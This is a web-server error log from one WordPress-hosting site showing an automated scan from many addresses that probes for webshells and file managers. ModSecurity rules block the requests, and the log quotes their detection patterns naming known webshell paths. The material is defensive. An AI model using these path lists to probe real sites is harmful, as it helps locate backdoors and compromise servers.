[Thu Mar 19 09:55:11.048180 2026] [proxy_fcgi:error] [pid 32226:tid 32238] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:11.287329 2026] [proxy_fcgi:error] [pid 32226:tid 32246] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:11.552986 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:11.806159 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:12.063300 2026] [proxy_fcgi:error] [pid 32226:tid 32247] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:12.301292 2026] [proxy_fcgi:error] [pid 32226:tid 32239] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:12.568678 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:12.828980 2026] [proxy_fcgi:error] [pid 32226:tid 32250] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:13.111668 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:13.364064 2026] [proxy_fcgi:error] [pid 32226:tid 32237] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:13.608125 2026] [proxy_fcgi:error] [pid 32226:tid 32239] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:13.851289 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:14.122444 2026] [proxy_fcgi:error] [pid 32226:tid 32250] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:14.364479 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:14.595300 2026] [proxy_fcgi:error] [pid 32226:tid 32243] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:14.862056 2026] [proxy_fcgi:error] [pid 32226:tid 32235] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:15.131823 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:15.435700 2026] [proxy_fcgi:error] [pid 32226:tid 32234] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:15.782205 2026] [proxy_fcgi:error] [pid 32226:tid 32252] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:16.056567 2026] [proxy_fcgi:error] [pid 32226:tid 32237] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:16.331655 2026] [proxy_fcgi:error] [pid 32226:tid 32238] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:16.570058 2026] [proxy_fcgi:error] [pid 32226:tid 32235] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:16.794301 2026] [proxy_fcgi:error] [pid 32226:tid 32229] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:17.069305 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:17.565291 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:17.790387 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:18.082308 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:19.786321 2026] [proxy_fcgi:error] [pid 32226:tid 32236] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:20.032307 2026] [proxy_fcgi:error] [pid 32226:tid 32250] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:20.288302 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:20.536299 2026] [proxy_fcgi:error] [pid 32226:tid 32249] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:20.839322 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:21.131767 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:21.717346 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:22.472344 2026] [proxy_fcgi:error] [pid 32226:tid 32243] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:22.714561 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:22.936338 2026] [proxy_fcgi:error] [pid 32226:tid 32236] [client 209.87.169.53:22373] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:26.262716 2026] [:error] [pid 32226:tid 32249] [client 209.87.169.53:22373] [client 209.87.169.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abtXjrBb58lgPwqxC6rGmwAAAxU"]
[Thu Mar 19 09:55:27.535384 2026] [:error] [pid 31447:tid 31475] [client 209.87.169.63:63159] [client 209.87.169.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abtXjxmVNRDSLnGvghiYEAAAAhQ"]
[Thu Mar 19 09:55:29.174415 2026] [:error] [pid 23988:tid 23991] [client 209.87.169.209:25203] [client 209.87.169.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abtXkWnlkSPXj2matr0qjgAAAMA"]
[Thu Mar 19 09:55:29.746324 2026] [proxy_fcgi:error] [pid 23988:tid 23992] [client 209.87.169.69:24261] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:29.986068 2026] [:error] [pid 23988:tid 24009] [client 209.87.169.69:24261] [client 209.87.169.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abtXkWnlkSPXj2matr0qlAAAANI"]
[Thu Mar 19 09:55:32.822071 2026] [:error] [pid 32226:tid 32235] [client 209.87.169.227:20999] [client 209.87.169.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abtXlLBb58lgPwqxC6rG4AAAAwc"]
[Thu Mar 19 09:55:33.360342 2026] [:error] [pid 31313:tid 31369] [client 209.87.169.32:21659] [client 209.87.169.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "abtXlQ9HuAbqf2tZOycZNAAAAcg"]
[Thu Mar 19 09:55:37.018985 2026] [:error] [pid 23884:tid 23969] [client 209.87.169.57:28807] [client 209.87.169.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "abtXmV6St-VCdOYnZMoeMAAAAI0"]
[Thu Mar 19 09:55:38.680697 2026] [:error] [pid 31205:tid 31221] [client 209.87.169.245:61053] [client 209.87.169.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "abtXmlu5gZKGrGz5P1FIagAAAUU"]
[Thu Mar 19 09:55:39.183459 2026] [:error] [pid 31447:tid 31466] [client 209.87.169.219:47171] [client 209.87.169.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "abtXmxmVNRDSLnGvghiYtgAAAgs"]
[Thu Mar 19 09:55:39.946332 2026] [:error] [pid 31447:tid 31478] [client 209.87.169.70:25129] [client 209.87.169.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "abtXmxmVNRDSLnGvghiYxwAAAhc"]
[Thu Mar 19 09:55:41.822395 2026] [proxy_fcgi:error] [pid 31447:tid 31458] [client 209.87.169.250:21633] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:42.064312 2026] [proxy_fcgi:error] [pid 31447:tid 31478] [client 209.87.169.250:21633] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:42.345387 2026] [:error] [pid 31447:tid 31456] [client 209.87.169.250:21633] [client 209.87.169.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "abtXnhmVNRDSLnGvghiY6AAAAgE"]
[Thu Mar 19 09:55:44.256137 2026] [:error] [pid 31313:tid 31380] [client 209.87.169.60:50317] [client 209.87.169.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "abtXoA9HuAbqf2tZOycZnAAAAdM"]
[Thu Mar 19 09:55:45.803251 2026] [:error] [pid 3278:tid 3284] [client 209.87.169.44:22663] [client 209.87.169.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "abtXoQC2T_lM6ZgvfcRMoAAAAQM"]
[Thu Mar 19 09:55:47.837943 2026] [:error] [pid 31447:tid 31458] [client 209.87.169.251:56757] [client 209.87.169.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "abtXoxmVNRDSLnGvghiZNwAAAgM"]
[Thu Mar 19 09:55:48.344048 2026] [:error] [pid 31205:tid 31227] [client 209.87.169.33:60667] [client 209.87.169.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "abtXpFu5gZKGrGz5P1FIwAAAAUo"]
[Thu Mar 19 09:55:49.072040 2026] [:error] [pid 23988:tid 24004] [client 209.87.169.249:56559] [client 209.87.169.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "abtXpWnlkSPXj2matr0rKwAAAM0"]
[Thu Mar 19 09:55:49.835255 2026] [:error] [pid 23988:tid 24008] [client 209.87.169.62:52019] [client 209.87.169.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "abtXpWnlkSPXj2matr0rOAAAANE"]
[Thu Mar 19 09:55:56.369077 2026] [:error] [pid 31735:tid 31752] [client 209.87.169.46:36807] [client 209.87.169.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "abtXrH-gyQbRQWJYccw5XgAAAo0"]
[Thu Mar 19 09:55:57.130180 2026] [:error] [pid 3278:tid 3297] [client 209.87.169.217:57337] [client 209.87.169.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "abtXrQC2T_lM6ZgvfcRM6AAAARA"]
[Thu Mar 19 09:55:57.889796 2026] [:error] [pid 31735:tid 31750] [client 209.87.169.73:21261] [client 209.87.169.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "abtXrX-gyQbRQWJYccw5aQAAAos"]
[Thu Mar 19 09:55:58.400984 2026] [:error] [pid 31447:tid 31466] [client 209.87.169.57:41239] [client 209.87.169.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "abtXrhmVNRDSLnGvghiZ1QAAAgs"]
[Thu Mar 19 09:55:59.867423 2026] [:error] [pid 31447:tid 31478] [client 209.87.169.61:43027] [client 209.87.169.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "abtXrxmVNRDSLnGvghiZ9QAAAhc"]
[Thu Mar 19 09:56:00.387025 2026] [:error] [pid 23883:tid 23950] [client 209.87.169.47:23313] [client 209.87.169.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "abtXsNNi-EnEAH4abz2LlAAAAFU"]
[Thu Mar 19 09:56:01.193436 2026] [:error] [pid 31735:tid 31761] [client 209.87.169.253:51111] [client 209.87.169.253] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "abtXsX-gyQbRQWJYccw5fAAAApY"]
[Thu Mar 19 09:56:02.794520 2026] [proxy_fcgi:error] [pid 23882:tid 23910] [client 209.87.169.237:50217] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:56:03.545059 2026] [:error] [pid 23882:tid 23909] [client 209.87.169.237:50217] [client 209.87.169.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "abtXs7WnClbtbN12M78TngAAAAc"]
[Thu Mar 19 09:56:04.981961 2026] [:error] [pid 23884:tid 23965] [client 209.87.169.29:57015] [client 209.87.169.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "abtXtF6St-VCdOYnZMofCQAAAIk"]
[Thu Mar 19 09:56:06.960250 2026] [:error] [pid 23884:tid 23959] [client 209.87.169.29:57015] [client 209.87.169.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "abtXtl6St-VCdOYnZMofMQAAAIM"]
[Thu Mar 19 09:56:07.775347 2026] [:error] [pid 31447:tid 31471] [client 209.87.169.61:58797] [client 209.87.169.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.61, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "abtXtxmVNRDSLnGvghiangAAAhA"]
[Thu Mar 19 09:56:08.251987 2026] [:error] [pid 31447:tid 31471] [client 209.87.169.61:58797] [client 209.87.169.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "abtXuBmVNRDSLnGvghiaqwAAAhA"]
[Thu Mar 19 09:56:09.002293 2026] [proxy_fcgi:error] [pid 31447:tid 31479] [client 209.87.169.41:41007] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:56:10.264076 2026] [:error] [pid 31447:tid 31473] [client 209.87.169.41:41007] [client 209.87.169.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "abtXuhmVNRDSLnGvghia2wAAAhI"]
[Thu Mar 19 09:56:12.949013 2026] [:error] [pid 31313:tid 31361] [client 209.87.169.209:43273] [client 209.87.169.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "abtXvA9HuAbqf2tZOycaiwAAAcA"]
[Thu Mar 19 09:56:13.390969 2026] [:error] [pid 31313:tid 31381] [client 209.87.169.59:33901] [client 209.87.169.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "abtXvQ9HuAbqf2tZOycajgAAAdQ"]
[Thu Mar 19 09:56:20.699975 2026] [:error] [pid 31447:tid 31469] [client 209.87.169.247:64227] [client 209.87.169.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.247, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "abtXxBmVNRDSLnGvghibpgAAAg4"]
[Thu Mar 19 09:56:20.938713 2026] [:error] [pid 31447:tid 31472] [client 209.87.169.247:64227] [client 209.87.169.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "abtXxBmVNRDSLnGvghibqQAAAhE"]
[Thu Mar 19 09:56:30.307310 2026] [proxy_fcgi:error] [pid 31447:tid 31463] [client 209.87.169.211:64181] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:56:30.879297 2026] [proxy_fcgi:error] [pid 31447:tid 31476] [client 209.87.169.211:64181] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:56:31.103759 2026] [:error] [pid 31447:tid 31463] [client 209.87.169.211:64181] [client 209.87.169.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "abtXzxmVNRDSLnGvghicWAAAAgg"]
[Thu Mar 19 09:56:32.091005 2026] [:error] [pid 32226:tid 32246] [client 209.87.169.252:24105] [client 209.87.169.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.252, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "abtX0LBb58lgPwqxC6rJpwAAAxI"]
[Thu Mar 19 09:56:32.319025 2026] [:error] [pid 32226:tid 32233] [client 209.87.169.252:24105] [client 209.87.169.252] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "abtX0LBb58lgPwqxC6rJrgAAAwU"]
[Thu Mar 19 09:56:32.807088 2026] [:error] [pid 32226:tid 32236] [client 209.87.169.225:34603] [client 209.87.169.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "abtX0LBb58lgPwqxC6rJuQAAAwg"]
[Thu Mar 19 09:56:33.470758 2026] [:error] [pid 31205:tid 31216] [client 209.87.169.63:36241] [client 209.87.169.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "abtX0Vu5gZKGrGz5P1FLFQAAAUA"]
